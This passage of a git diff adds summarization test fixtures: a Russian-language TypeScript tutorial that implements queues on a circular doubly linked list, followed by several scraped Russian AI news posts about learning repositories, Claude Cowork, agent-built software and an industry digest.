в очереди. Теперь, когда вы знаете об очередях и их основных операциях, давайте разберемся с их реализацией и посмотрим, как это выглядит в коде. Есть несколько способов реализации очередей, но в этом руководстве мы рассмотрим очереди на основе связанных списков. Поэтому для начала давайте вкратце повторим, что собой представляет связный список. Что такое связные списки? Связный список — это метод хранения коллекции элементов, в котором каждый элемент, называемый «узлом», содержит две части: собственно данные и ссылку (или указатель) на следующий элемент в списке. В отличие от массивов, где все элементы хранятся в памяти рядом друг с другом, связные списки соединяют узлы с помощью этих ссылок, подобно цепочке. Связные списки используются для реализации очередей, поскольку они позволяют эффективно вставлять элементы в конец и удалять их из передней части, т.е. осуществлять две основные операции в очереди. В очереди, основанной на связном списке, можно добавить новый узел в хвост и удалить его из головы списка за постоянное время (O(1)) без необходимости сдвигать элементы, как это делается в массиве. В этом руководстве мы будем использовать особый тип связного списка — кольцевой двухсвязный список (англ. Circular Doubly Linked List). Кольцевой двухсвязный список — это тип связного списка, в котором каждый узел соединяется со следующим и предыдущим узлами, а последний узел возвращается к первому, образуя кольцо. Это означает, что вы можете перемещаться по списку в обоих направлениях и никогда не попадете в тупик. Это облегчает переход вперед или назад по узлам и помогает избежать особых случаев, таких как обработка null на концах. В кольцевом двухсвязном списке все соединяется в цикл, что упрощает некоторые операции с очередями и делает их эффективными. Кольцевой двухсвязный список уже добавлен в src/playground/01-linked-list.ts: // 📁 src/playground/01-linked-list.ts + +/** + * Node for doubly linked list + */ +export class NodeItem { + value: T; + next: NodeItem | null = null; + prev: NodeItem | null = null; + + constructor(value: T) { + this.value = value; + } +} + +/** + * Circular Doubly Linked List + */ +export class LinkedList { + private head: NodeItem | null = null; + private tail: NodeItem | null = null; + private currentSize: number = 0; + + /** + * Add a new node to the front of the list + * @param value The value to add + */ + prepend(value: T): void { + const newNode = new NodeItem(value); + if (this.isEmpty()) { + this.head = newNode; + this.tail = newNode; + newNode.next = newNode; + newNode.prev = newNode; + } else { + newNode.next = this.head; + newNode.prev = this.tail; + this.head!.prev = newNode; + this.tail!.next = newNode; + this.head = newNode; + } + this.currentSize++; + } + + /** + * Add a new node to the back of the list + * @param value The value to add + */ + append(value: T): void { + const newNode = new NodeItem(value); + if (this.isEmpty()) { + this.head = newNode; + this.tail = newNode; + newNode.next = newNode; + newNode.prev = newNode; + } else { + newNode.next = this.head; + newNode.prev = this.tail; + this.tail!.next = newNode; + this.head!.prev = newNode; + this.tail = newNode; + } + this.currentSize++; + } + + /** + * Remove and return the value from the front of the list + * @returns The value at the head or undefined if empty + */ + deleteHead(): T | undefined { + if (this.isEmpty()) { + return undefined; + } + const value = this.head!.value; + if (this.currentSize === 1) { + this.head = null; + this.tail = null; + } else { + this.head = this.head!.next; + this.head!.prev = this.tail; + this.tail!.next = this.head; + } + this.currentSize--; + return value; + } + + /** + * Remove and return the value from the back of the list + * @returns The value at the tail or undefined if empty + */ + deleteTail(): T | undefined { + if (this.isEmpty()) { + return undefined; + } + const value = this.tail!.value; + if (this.currentSize === 1) { + this.head = null; + this.tail = null; + } else { + this.tail = this.tail!.prev; + this.tail!.next = this.head; + this.head!.prev = this.tail; + } + this.currentSize--; + return value; + } + + /** + * Get the value at the front without removing it + * @returns The value at the head or undefined if empty + */ + getHead(): T | undefined { + return this.head?.value; + } + + /** + * Get the value at the back without removing it + * @returns The value at the tail or undefined if empty + */ + getTail(): T | undefined { + return this.tail?.value; + } + + /** + * Check if the list is empty + * @returns True if the list is empty, false otherwise + */ + isEmpty(): boolean { + return this.currentSize === 0; + } + + /** + * Get the current size of the list + * @returns The number of nodes in the list + */ + size(): number { + return this.currentSize; + } +} В этом модуле у вас есть кольцевой двухсвязный список с 8 различными методами, которые в дальнейшем облегчат построение очередей: prepend. Добавляет новое значение в начало списка. append. Добавляет новое значение в конец списка. deleteHead. Удаляет и возвращает значение в начале списка. deleteTail. Удаляет и возвращает значение в конце списка. getHead. Возвращает переднее значение без его удаления. getTail. Возвращает конечное значение без его удаления. isEmpty. Проверяет отсутствие элементов в списке. size. Возвращает количество элементов в списке. Теперь, когда наш связный список готов, давайте начнем создавать нашу первую очередь! Что такое простая очередь? Простая очередь подчиняется основному правилу FIFO: вы должны добавлять элементы в конец очереди и удалять их спереди. Это похоже на очередь покупателей в билетной кассе, где первый человек в очереди покупает билет первым. Чтобы начать работу, откройте файл src/playground/02-simple-queue.ts, в котором вы найдете плейсхолдер для простой очереди с ее методами: // 📁 src/playground/02-simple-queue.ts + +import { LinkedList } from "./01-linked-list"; + +/** + * Simple Queue implemented with a circular doubly linked list + */ +export class SimpleQueue { + private list: LinkedList; + private maxSize?: number; + + /** + * @param maxSize Optional maximum size of the queue + */ + constructor(maxSize?: number) { + this.list = new LinkedList(); + this.maxSize = maxSize; + } + + ...methods +} В основе класса SimpleQueue лежит использование кольцевого двусвязного списка для хранения элементов, а также опциональное ограничение максимального размера для контроля величины очереди. private list: LinkedList — это место, где хранятся данные очереди. Вместо простого массива мы используем пользовательский связный список, что позволяет эффективно добавлять и удалять элементы с любого конца. Связный список управляет структурой данных и позволяет сосредоточиться на работе очереди. private maxSize — необязательное ограничение на количество элементов в очереди. Если его не указать, очередь может расти настолько, насколько это необходимо. Метод constructor запускается при создании новой очереди. Он создает новый пустой связный список для хранения элементов очереди. Теперь давайте реализуем методы очереди. Откройте редактор кода и обновите файл src/playground/02-simple-queue.ts следующим кодом: // 📁 src/playground/02-simple-queue.ts + +import { LinkedList } from "./01-linked-list"; + +/** + * Simple Queue implemented with a circular doubly linked list + */ +export class SimpleQueue { + private list: LinkedList; + private maxSize?: number; + + /** + * @param maxSize Optional maximum size of the queue + */ + constructor(maxSize?: number) { + this.list = new LinkedList(); + this.maxSize = maxSize; + } + + /** + * Add an element to the rear of the queue + * @param item The element to add + */ + enqueue(item: T): void { + if (this.isFull()) { + throw new Error("Queue is full"); + } + this.list.append(item); + } + + /** + * Remove and return the element from the front of the queue + * @returns The element at the front or undefined if empty + */ + dequeue(): T | undefined { + return this.list.deleteHead(); + } + + /** + * Get the element at the front without removing it + * @returns The element at the front or undefined if empty + */ + getFront(): T | undefined { + return this.list.getHead(); + } + + /** + * Get the element at the rear without removing it + * @returns The element at the rear or undefined if empty + */ + getRear(): T | undefined { + return this.list.getTail(); + } + + /** + * Check if the queue is empty + * @returns True if the queue is empty, false otherwise + */ + isEmpty(): boolean { + return this.list.isEmpty(); + } + + /** + * Check if the queue is full + * @returns True if the queue is full, false otherwise + */ + isFull(): boolean { + return this.maxSize !== undefined && this.list.size() >= this.maxSize; + } + + /** + * Peek at the front element without removing it + * @returns The element at the front or undefined if empty + */ + peek(): T | undefined { + return this.getFront(); + } + + /** + * Get the current size of the queue + * @returns The number of elements in the queue + */ + size(): number { + return this.list.size(); + } +} Как видите, связный список значительно упрощает реализацию очереди, потому что он выступает в качестве движка очереди. Вот как работает наша простая очередь: isEmpty(). Этот метод проверяет отсутствие элементов в очереди. Он вызывает метод isEmpty() связного списка, который проверяет, равен ли текущий размер списка нулю. Если в списке нет узлов, метод возвращает true, указывая на то, что очередь пуста. Это базовый вспомогательный метод, часто используемый перед попыткой очистки или проверки очереди. isFull(). Этот метод определяет, достигла ли очередь своей вместимости. Он сравнивает текущий размер связного списка (с помощью метода size()) с необязательным значением maxSize. Если maxSize определен, а размер связного списка равен ему или превышает его, возвращается true. Это означает, что уже нельзя добавлять новые элементы. Такое ограничение полезно для предотвращения переполнения в ограниченных очередях. size(). Этот метод возвращает количество элементов, хранящихся в очереди в данный момент. Он напрямую вызывает метод size() связного списка, который отслеживает количество узлов. Это позволяет отслеживать использование очереди и ее оставшуюся емкость. enqueue(). Этот метод добавляет новый элемент в конец очереди. Сначала он проверяет, заполнена ли очередь, вызывая метод isFull(). Если да, то метод выбрасывает ошибку. В противном случае он добавляет новый элемент во внутренний связный список с помощью метода append(), который добавляет новый узел в хвост кольцевого двухсвязного списка. dequeue(). Этот метод удаляет и возвращает элемент, находящийся в начале очереди. Он вызывает метод deleteHead() связного списка, который удаляет головной узел и обновляет связи окружающих узлов, чтобы сохранить кольцевую структуру. Если очередь пуста, возвращается значение undefined. getFront(). Этот метод возвращает значение, находящееся в начале очереди, не удаляя его. Он использует метод getHead() связного списка для получения значения головного узла. Эта операция не изменяет очередь и полезна для предварительного просмотра следующего элемента, который будет удален из очереди. getRear(). Этот метод возвращает значение в конце очереди, не удаляя его. Он использует метод getTail() связного списка, который возвращает значение хвостового узла. Это позволяет проверить последний добавленный элемент, не изменяя очередь. peek(). Этот метод является псевдонимом для getFront(). Он возвращает элемент, находящийся в начале очереди, не удаляя его. Под капотом он вызывает getFront(), чтобы получить значение head. Это часто используется в API очередей для проверки следующего элемента в очереди. Вы только что реализовали свою первую очередь на TypeScript. Чтобы убедиться, что наша реализация работает правильно, выполните следующую команду в терминале в корне проекта: npm run test:file 02 Если какой-либо из тестов не прошел, используйте последний пример из src/examples/02-simple-queue.ts для отладки проблемы, а затем запустите тесты снова. Если все тесты пройдены, вы можете перейти к следующему разделу, где мы реализуем кольцевую очередь. Что такое кольцевая очередь? CircularQueue — это очередь фиксированного размера, в которой последняя позиция соединяется с первой. Это позволяет повторно использовать пространство после удаления элементов. Представьте себе очередь к шведскому столу с ограниченным количеством тарелок: когда кто-то берет тарелку спереди, новая добавляется сзади, снова используя то же пространство. CircularQueue очень похожа на SimpleQueue, но имеет несколько уникальных отличий. Давайте изменим src/playground/03-circular-queue.ts и добавим следующий код: // 📁 src/playground/03-circular-queue.ts + +import { LinkedList } from "./01-linked-list"; + +/** + * Circular Queue implemented with a circular doubly linked list + */ +export class CircularQueue { + private list: LinkedList; + private maxSize: number; + + /** + * @param maxSize Required maximum size of the circular queue + */ + constructor(maxSize: number) { + this.list = new LinkedList(); + this.maxSize = maxSize; + } + + /** + * Add an element to the rear of the queue + * @param item The element to add + */ + enqueue(item: T): void { + if (this.isFull()) { + throw new Error("Circular queue is full"); + } + this.list.append(item); + } + + /** + * Remove and return the element from the front of the queue + * @returns The element at the front or undefined if empty + */ + dequeue(): T | undefined { + return this.list.deleteHead(); + } + + /** + * Get the element at the front without removing it + * @returns The element at the front or undefined if empty + */ + getFront(): T | undefined { + return this.list.getHead(); + } + + /** + * Get the element at the rear without removing it + * @returns The element at the rear or undefined if empty + */ + getRear(): T | undefined { + return this.list.getTail(); + } + + /** + * Check if the queue is empty + * @returns True if the queue is empty, false otherwise + */ + isEmpty(): boolean { + return this.list.isEmpty(); + } + + /** + * Check if the queue is full + * @returns True if the queue is full, false otherwise + */ + isFull(): boolean { + return this.list.size() >= this.maxSize; + } + + /** + * Peek at the front element without removing it + * @returns The element at the front or undefined if empty + */ + peek(): T | undefined { + return this.getFront(); + } + + /** + * Get the current size of the queue + * @returns The number of elements in the queue + */ + size(): number { + return this.list.size(); + } +} Может показаться, что это очень похоже на SimpleQueue, но есть несколько ключевых отличий: Разница в конструкторе. В отличие от SimpleQueue, CircularQueue требует параметр maxSize при инстанцировании. Это устанавливает строгий верхний предел того, сколько элементов может находиться в очереди одновременно. SimpleQueue допускает неограниченные очереди, поэтому maxSize там — опциональный параметр. Благодаря обязательному указанию maxSize CircularQueue лучше подходит для сценариев с буфером фиксированного размера, где важен контроль памяти или ресурсов (например, в системах реального времени или кэшировании). enqueue(). Этот метод почти идентичен такому же методу в SimpleQueue. В CircularQueue выброс ошибки при переполнении очереди является частью контракта, и это предполагает, что вы управляете фиксированным буфером. Кольцевая природа вступает в игру концептуально: когда очередь заполнена, в нее больше не могут попасть данные, пока не будут удалены старые записи, что имитирует механизм кольцевой перезаписи (хотя в данной конкретной реализации автозапись не происходит). isFull(). Этот метод ведет себя так же, как и в SimpleQueue, когда там задан maxSize. В CircularQueue размер ограничивается всегда, что делает очередь предсказуемой и идеально подходящей для таких случаев использования, как потоковые данные и обработка с ограниченной скоростью. Теперь давайте протестируем реализацию, чтобы проверить, работает ли она: npm run test:file 03 Если какой-либо из тестов не сработал, используйте каталог final /examples для отладки проблемы. Если тесты пройдут, вы будете готовы перейти к следующему разделу, где узнаете о двухсторонних очередях. Что такое двухсторонняя очередь? Двухсторонняя очередь (deque) позволяет добавлять или удалять элементы как спереди, так и сзади. Давайте изменим src/playground/04-double-ended-queue.ts и добавим следующий код: // 📁 src/playground/04-double-ended-queue.ts + +import { LinkedList } from "./01-linked-list"; + +/** + * Double-Ended Queue (Deque) implemented with a circular doubly linked list + */ +export class Deque { + private list: LinkedList; + private maxSize?: number; + + /** + * @param maxSize Optional maximum size of the deque + */ + constructor(maxSize?: number) { + this.list = new LinkedList(); + this.maxSize = maxSize; + } + + /** + * Add an element to the front of the deque + * @param item The element to add + */ + enqueueFront(item: T): void { + if (this.isFull()) { + throw new Error("Deque is full"); + } + this.list.prepend(item); + } + + /** + * Add an element to the rear of the deque + * @param item The element to add + */ + enqueueRear(item: T): void { + if (this.isFull()) { + throw new Error("Deque is full"); + } + this.list.append(item); + } + + /** + * Remove and return the element from the front of the deque + * @returns The element at the front or undefined if empty + */ + dequeueFront(): T | undefined { + return this.list.deleteHead(); + } + + /** + * Remove and return the element from the rear of the deque + * @returns The element at the rear or undefined if empty + */ + dequeueRear(): T | undefined { + return this.list.deleteTail(); + } + + /** + * Get the element at the front without removing it + * @returns The element at the front or undefined if empty + */ + getFront(): T | undefined { + return this.list.getHead(); + } + + /** + * Get the element at the rear without removing it + * @returns The element at the rear or undefined if empty + */ + getRear(): T | undefined { + return this.list.getTail(); + } + + /** + * Check if the deque is empty + * @returns True if the deque is empty, false otherwise + */ + isEmpty(): boolean { + return this.list.isEmpty(); + } + + /** + * Check if the deque is full + * @returns True if the deque is full, false otherwise + */ + isFull(): boolean { + return this.maxSize !== undefined && this.list.size() >= this.maxSize; + } + + /** + * Peek at the front element without removing it + * @returns The element at the front or undefined if empty + */ + peek(): T | undefined { + return this.getFront(); + } + + /** + * Get the current size of the deque + * @returns The number of elements in the deque + */ + size(): number { + return this.list.size(); + } +} Теперь давайте пройдемся по методам: enqueueFront(). Этот метод позволяет добавить элемент в переднюю часть deque, в отличие от SimpleQueue и CircularQueue, которые поддерживают добавление только в заднюю часть. Для вставки элемента в начало используется list.prepend(item). Эта операция делает двухстороннюю очередь подходящей для случаев, когда элементы нужно выгружать с обоих концов, как в системах отмены/повтора или в планировщиках задач. enqueueRear(). Ведет себя аналогично enqueue() в SimpleQueue: добавляет элементы в заднюю часть с помощью list.append(item). Отличие Deque в том, что здесь это одна из двух симметричных операций. dequeueFront(). Удаляет и возвращает элемент из передней части очереди, используя list.deleteHead(). Хотя этот метод похож на метод dequeue() в очередях, его имя явно указывает на то, что он работает с передней частью. dequeueRear(). Эта функция уникальна для двухсторонних очередей, она удаляет и возвращает элемент в задней части очереди с помощью list.deleteTail(). Эта функция дополняет dequeueFront() и позволяет при необходимости использовать стекоподобное поведение (LIFO, от Last In, First Out — “последний пришел, первый ушел”). Разница в конструкторе. Как и SimpleQueue, Deque принимает опциональное значение maxSize. Это позволяет создавать гибкие конфигурации. Ваши двухсторонние очереди могут быть неограниченными, когда maxSize не указан, или иметь фиксированный размер, когда ограничения важны. Это контрастирует с CircularQueue, которая требует указания максимального размера. После завершения реализации выполните следующую команду, чтобы протестировать модуль: npm run test:file 04 Теперь вы готовы перейти к последнему разделу руководства, в котором вы узнаете о приоритетной очереди. Что такое приоритетная очередь? Приоритетная очередь обрабатывает элементы на основе их приоритета, а не порядка поступления. Элементы с более высоким приоритетом удаляются первыми, как в отделении неотложной помощи, где пациенты с тяжелыми заболеваниями получают помощь раньше других. Давайте изменим src/playground/05-priority-queue.ts: // 📁 src/playground/05-priority-queue.ts + +import { LinkedList, NodeItem } from "./01-linked-list"; + +/** + * Interface for an element with priority + */ +interface PriorityItem { + value: T; + priority: number; +} + +/** + * Priority Queue implemented with a circular doubly linked list + */ +export class PriorityQueue { + private list: LinkedList>; + private maxSize?: number; + + /** + * @param maxSize Optional maximum size of the priority queue + */ + constructor(maxSize?: number) { + this.list = new LinkedList>(); + this.maxSize = maxSize; + } + + /** + * Add an element to the queue based on its priority + * Higher priority numbers are dequeued first + * @param value The value to add + * @param priority The priority of the value (higher number = higher priority) + */ + enqueue(value: T, priority: number): void { + if (this.isFull()) { + throw new Error("Priority queue is full"); + } + + const newItem: PriorityItem = { value, priority }; + if (this.isEmpty()) { + this.list.prepend(newItem); + return; + } + + let current = this.list["head"]; + let count = 0; + while ( + current && + current.value.priority >= priority && + count < this.size() + ) { + current = current.next; + count++; + } + + if (count === this.size()) { + this.list.append(newItem); + } else { + const newNode = new NodeItem(newItem); + newNode.next = current; + newNode.prev = current!.prev; + if (current!.prev) { + current!.prev.next = newNode; + } else { + this.list["head"] = newNode; + } + current!.prev = newNode; + if (current === this.list["head"]) { + this.list["head"] = newNode; + } + this.list["tail"]!.next = this.list["head"]; + this.list["head"]!.prev = this.list["tail"]; + this.list["currentSize"]++; + } + } + + /** + * Remove and return the element with the highest priority from the queue + * @returns The value with the highest priority or undefined if empty + */ + dequeue(): T | undefined { + return this.list.deleteHead()?.value; + } + + /** + * Get the element with the highest priority without removing it + * @returns The value at the front or undefined if empty + */ + getFront(): T | undefined { + return this.list.getHead()?.value; + } + + /** + * Get the element with the lowest priority without removing it + * @returns The value at the rear or undefined if empty + */ + getRear(): T | undefined { + return this.list.getTail()?.value; + } + + /** + * Check if the queue is empty + * @returns True if the queue is empty, false otherwise + */ + isEmpty(): boolean { + return this.list.isEmpty(); + } + + /** + * Check if the queue is full + * @returns True if the queue is full, false otherwise + */ + isFull(): boolean { + return this.maxSize !== undefined && this.list.size() >= this.maxSize; + } + + /** + * Peek at the element with the highest priority without removing it + * @returns The value at the front or undefined if empty + */ + peek(): T | undefined { + return this.getFront(); + } + + /** + * Get the current size of the queue + * @returns The number of elements in the queue + */ + size(): number { + return this.list.size(); + } +} А теперь давайте разберемся, как работают методы в приоритетной очереди: enqueue(). Этот метод вставляет новый элемент в очередь, основываясь на его приоритете. В отличие от других типов очередей, где порядок основан на времени вставки, PriorityQueue использует механизм сортировки, где элементы с более высоким приоритетом располагаются ближе к началу. Метод обходит связный список от головы, отыскивая нужную позицию, куда следует вставить новый элемент, чтобы список оставался отсортированным в порядке убывания приоритета. Он вручную корректирует указатели prev и next, чтобы сохранить целостность кольцевого двусвязного списка. Такая сортировка во время вставки обеспечивает быстрый доступ к элементу с наивысшим приоритетом в дальнейшем. dequeue(). Этот метод удаляет и возвращает элемент с наивысшим приоритетом, который всегда располагается в начале списка. Под капотом он вызывает deleteHead(), а затем возвращает значение из узла PriorityItem. Поскольку элементы сортируются при вставке, эта операция всегда эффективна и возвращает нужный элемент. getFront(). Эта операция извлекает значение, находящееся в начале очереди, не удаляя его. Поскольку список отсортирован по убыванию приоритета, это значение всегда представляет элемент с наивысшим приоритетом. getRear(). Возвращает значение, находящееся в конце очереди, то есть элемент с наименьшим приоритетом. Метод получает доступ к последнему элементу списка с помощью getTail() и извлекает значение. isEmpty(). Проверяет, содержит ли очередь какие-либо элементы, используя метод isEmpty() связного списка. isFull(). Проверяет, достигла ли очередь своего максимально допустимого размера. Метод сравнивает текущий размер с maxSize, если он определен. peek(). Этот метод функционально эквивалентен getFront(). Он предоставляет более понятное семантическое название, когда пользователи хотят просмотреть самый приоритетный элемент, не удаляя его. size(). Возвращает общее количество элементов, находящихся в приоритетной очереди. Это полезно для мониторинга пропускной способности или отладки. Ключевые отличия Приоритетная очередь отличается от других типов очередей тем, что обеспечивает порядок при вставке на основе числового приоритета. Благодаря этому доступ к элементу с наивысшим приоритетом будет иметь постоянную временную сложность, а вставка элемента — линейную (поскольку для каждого нового элемента нужно искать подходящее место). Это поддерживает расширенное планирование и балансировку нагрузки в тех случаях, когда срочность или важность задачи имеет большее значение, чем время ее поступления. Покончив с реализацией, выполните следующую команду, чтобы протестировать наш код: npm run test:file 05 Вот и все, поздравляем! Вы успешно прошли это руководство и познакомились с очередями и их вариациями. Отличная работа! Теперь давайте вкратце разберем, где стоит использовать очереди, а где их лучше избегать. Мы также обсудим узкие места и проблемы, которые очереди могут создать, если их использовать неправильно и не в том месте. Когда следует использовать очереди (а когда не стоит) Очереди идеально подходят для сценариев, в которых задания или данные должны обрабатываться в точном порядке их поступления, например в системах планирования заданий и обработки событий. Например, когда на принтер отправляется несколько заданий, очередь может обеспечить печать всех документов в том порядке, в котором они были отправлены. Аналогично очереди используются в операционных системах для управления заданиями в пулах потоков или при планировании работы процессора (например, Round Robin), где порядок имеет решающее значение. Очереди также широко используются в системах асинхронных коммуникаций, таких как брокеры сообщений RabbitMQ и Kafka. В таких системах производители и потребители работают независимо друг от друга: производитель отправляет сообщения в очередь, а потребитель обрабатывает их позже. Этот паттерн чрезвычайно полезен в архитектуре микросервисов или бессерверных средах, где различные части системы должны оставаться слабосвязанными и хорошо масштабируемыми. Аналогичным образом, в системах реального времени, таких как потоковое видео или сбор данных с датчиков, очереди помогают буферизировать входящие данные, чтобы избежать их потери и обеспечить плавную последующую обработку. Когда следует избегать очередей Очереди плохо подходят для решения задач, требующих случайного доступа к элементам, сложных операций поиска или сортировки. Поскольку очереди обычно позволяют вставлять данные с одного конца и удалять с другого, они неэффективны для случаев, когда вам часто требуется доступ к элементам в середине или поиск по всем элементам. В таких случаях лучше использовать массив, дерево или хэш-карту. Неправильное использование очередей может привести к излишней сложности и скрытым узким местам. Например, необдуманное размещение очередей между микросервисами может развязать компоненты, но при этом усложнить отладку и устранение сбоев. Избыточное использование очередей также может привести к проблемам обратного давления, когда очереди неконтролируемо растут под высокой нагрузкой, что увеличивает задержки или даже приводит к краху системы, если не управлять ими должным образом. Поэтому очереди следует использовать осознанно: когда требуется порядок, буферизация или асинхронная обработка. Заключение Очереди в TypeScript — это базовая структура данных, которая хорошо работает, когда вам нужен порядок и асинхронная обработка. Очереди полезны для обработки задач, стриминга данных или координации сервисов, а также для обеспечения бесперебойной и эффективной работы. Но они подходят не для всех задач. Важно понимать их плюсы и минусы, чтобы использовать их правильно и избежать ненужных сложностей. Перевод статьи “How to Work with Queues in TypeScript”. 7 уроков дизайна для разработчиков 1 комментарий / Новости, Обучение / От andrey_av Не документируйте код. Кодируйте документацию 1 комментарий / Новости, Обучение / От andrey_av +============== diff --git a/tests/summarization/https___uproger.com__f0_9f_a4_96-luchshie-github-repozitorii-chtoby-vyuchit-ai-s-nulya-v-2026_.txt b/tests/summarization/https___uproger.com__f0_9f_a4_96-luchshie-github-repozitorii-chtoby-vyuchit-ai-s-nulya-v-2026_.txt new file mode 100644 index 0000000..68e45a3 --- /dev/null +++ b/tests/summarization/https___uproger.com__f0_9f_a4_96-luchshie-github-repozitorii-chtoby-vyuchit-ai-s-nulya-v-2026_.txt @@ -0,0 +1,2 @@ +🤖 Лучшие GitHub-репозитории, чтобы выучить AI с нуля в 2026 16.01.2026 Искусственный интеллект, Машинное обучение Если хочешь разобраться в ИИ не по курсам “в вакууме”, а через реальные open-source проекты – вот топ реп, которые реально ведут от базы до практики: 1) **Karpathy – Neural Networks: Zero to Hero** Самый понятный вход в нейросети и backprop “на пальцах” https://github.com/karpathy/nn-zero-to-hero 2) **Hugging Face Transformers** Главная библиотека современного NLP/LLM: модели, токенизаторы, fine-tuning https://github.com/huggingface/transformers 3) **FastAI – Fastbook** Практическое DL-обучение через проекты и эксперименты https://github.com/fastai/fastbook 4) **Made With ML** ML как инженерная система: пайплайны, прод, деплой, мониторинг https://github.com/GokuMohandas/Made-With-ML 5) **Machine Learning System Design (Chip Huyen)** Как строить ML-системы в реальном бизнесе: данные, метрики, инфраструктура https://github.com/chiphuyen/machine-learning-systems-design 6) **Awesome Generative AI Guide** Подборка материалов по GenAI: от основ до практики https://github.com/aishwaryanr/awesome-generative-ai-guide 7) **Dive into Deep Learning (D2L)** Одна из лучших книг по DL + код + задания https://github.com/d2l-ai/d2l-en Сохрани себе – это база, на которой можно реально вырасти до ML/LLM-инженера. +1 0 +1 0 +1 0 +1 0 +1 0 Просмотры: 22 0 Grok 4.20: ИИ нашёл новую Bellman-функцию и продвинул сложную задачу в анализеП… 15.01.2026 У DeepSeek может быть один из самых сильных “скрытых источников финансирования”… 12.01.2026 Андрей Карпаты нашел идеальный баланс токенов и параметров для обучения LLM.Анд… 09.01.2026 +============== diff --git a/tests/summarization/https___uproger.com_anthropicai-vypustili-claude-cowork-po-suti-eto-claude-code-no-dlya-netehnare_.txt b/tests/summarization/https___uproger.com_anthropicai-vypustili-claude-cowork-po-suti-eto-claude-code-no-dlya-netehnare_.txt new file mode 100644 index 0000000..cf54690 --- /dev/null +++ b/tests/summarization/https___uproger.com_anthropicai-vypustili-claude-cowork-po-suti-eto-claude-code-no-dlya-netehnare_.txt @@ -0,0 +1,2 @@ +AnthropicAI выпустили Claude Cowork – по сути это Claude Code, но для НЕтехнаре… 13.01.2026 Машинное обучение 🔥 AnthropicAI выпустили Claude Cowork – по сути это Claude Code, но для НЕтехнарей Идея простая: теперь агенты на твоём компьютере становятся доступными не только разработчикам. Что умеет Claude Cowork: ✅ Долгие задачи прямо на твоём ПК Не “ответил и забыл”, а реально берёт задачу и делает её часами, пока не закончит. ✅ Без терминала Никаких команд, npm, pip и прочего – запускается прямо в Claude app как новая вкладка. ✅ Доступ ко всему контексту компьютера Может: – видеть файлы и папки – использовать контекст приложений – управлять браузером – собирать данные и заполнять формы – выполнять цепочки действий Мир сейчас впервые массово увидит, каково это – когда твой компьютер реально работает за тебя, пока ты спишь. Следующий шаг очевиден: люди начнут “нанимать” ИИ как ассистента,а не как чатбота. Ждём эпоху: *поставил задачу вечером → утром получил готовый результат*. 📌 Скачать: https://claude.com/download 📌 Анонс: https://claude.com/blog/cowork-research-preview View Source +1 0 +1 0 +1 0 +1 0 +1 0 Просмотры: 5 0 Google: проблема дата-центров уже не в “купить электричество”. Проблема – подкл… 20.01.2026 NVIDIA KVzap: жмем KV-кэш в 4 раза.Все любят длинный контекст, но для GPU это б… 18.01.2026 🤖 Лучшие GitHub-репозитории, чтобы выучить AI с нуля в 2026 16.01.2026 +============== diff --git a/tests/summarization/https___uproger.com_ceo-cursor-zayavil-chto-oni-skoordinirovali-sotni-gpt-5-2-agentov-chtoby-avtonom_.txt b/tests/summarization/https___uproger.com_ceo-cursor-zayavil-chto-oni-skoordinirovali-sotni-gpt-5-2-agentov-chtoby-avtonom_.txt new file mode 100644 index 0000000..e7a7d9e --- /dev/null +++ b/tests/summarization/https___uproger.com_ceo-cursor-zayavil-chto-oni-skoordinirovali-sotni-gpt-5-2-agentov-chtoby-avtonom_.txt @@ -0,0 +1,2 @@ +CEO Cursor заявил, что они скоординировали сотни GPT-5.2 агентов, чтобы автоном… 15.01.2026 Машинное обучение 🔥 CEO Cursor заявил, что они скоординировали сотни GPT-5.2 агентов, чтобы автономно собрать браузер с нуля всего за 1 неделю. Цитата: > “Мы построили браузер с GPT-5.2 прямо в Cursor. Он работал без остановки целую неделю.” Что особенно дико: – 3M+ строк кода – тысячи файлов – рендер-движок с нуля на Rust – парсинг HTML / CSS Если это правда – мы уже не “пишем код”, мы управляем армией агентов, которые строят целые продукты без сна и выходных. https://x.com/mntruell/status/2011562190286045552 View Source +1 0 +1 0 +1 0 +1 0 +1 0 Просмотры: 8 0 Google: проблема дата-центров уже не в “купить электричество”. Проблема – подкл… 20.01.2026 NVIDIA KVzap: жмем KV-кэш в 4 раза.Все любят длинный контекст, но для GPU это б… 18.01.2026 🤖 Лучшие GitHub-репозитории, чтобы выучить AI с нуля в 2026 16.01.2026 +============== diff --git a/tests/summarization/https___uproger.com_glavnye-novosti-ii-i-ml-openai-zapustila-chatgpt-health-chatgpt-health-otdel_.txt b/tests/summarization/https___uproger.com_glavnye-novosti-ii-i-ml-openai-zapustila-chatgpt-health-chatgpt-health-otdel_.txt new file mode 100644 index 0000000..18b3d69 --- /dev/null +++ b/tests/summarization/https___uproger.com_glavnye-novosti-ii-i-ml-openai-zapustila-chatgpt-health-chatgpt-health-otdel_.txt @@ -0,0 +1,2 @@ +Главные новости ИИ и Мл. OpenAI запустила ChatGPT Health.ChatGPT Health — отдел… 08.01.2026 Машинное обучение Главные новости ИИ и Мл. ✔️ OpenAI запустила ChatGPT Health. ChatGPT Health — отдельный раздел чат-бота исключительно для запросов, связанных со здоровьем, с возможностью интеграции с сервисами трекинга: Apple Health, MyFitnessPal, а также с личными медицинскими записями для анализа результатов анализов и истории болезни. Вопросы приватности и безопасности данных решены с помощью многоуровневого шифрования и отдельной инфраструктуры; данные из ChatGPT Health по умолчанию не используются для обучения основных моделей ChatGPT. Доступ к бета-версии открыт через лист ожидания для пользователей за пределами ЕС, Швейцарии и Великобритании; интеграция с медицинскими картами пока доступна только в США. openai.com ✔️ Китай проверяет сделку по покупке Manus на нарушение экспортного контроля. Министерство торговли КНР начало расследование приобретения стартапа Manus. Власти подозревают, что релокация сотрудников и технологий компании из Китая в Сингапур с последующей продажей американскому техно-гиганту могла быть попыткой обхода требований по лицензированию экспорта технологий. Команда и основатели Manus покинули Китай летом 2025 года, чтобы дистанцироваться от геополитических рисков. Этот маневр позволил привлечь $75 млн. от американского фонда Benchmark, что ранее уже вызывало вопросы у Минфина США. Компания Цукерберга утверждает, что на момент закрытия сделки в Manus не осталось китайского капитала, однако Пекин намерен выяснить, легально ли технологии покинули страну до того, как стартап сменил юрисдикцию. ft.com ✔️ Siemens и NVIDIA создадут ИИ-ОС для заводов. Компании объявили о расширении партнерства ради создания единой среды Industrial AI Operating System. Она построена на концепции централизованного интеллекта, который позволит непрерывно анализировать цифровые двойники и валидировать любые производственные изменения в виртуальной среде до их реализации в поле. Эталоном такого производства станет завод Siemens в немецком Эрлангене. Для инженеров альянс готовит новые инструменты. В середине 2026 года выйдет Digital Twin Composer на движке NVIDIA Omniverse для построения промышленных мета-вселенных, а интеграция библиотек CUDA-X в программный 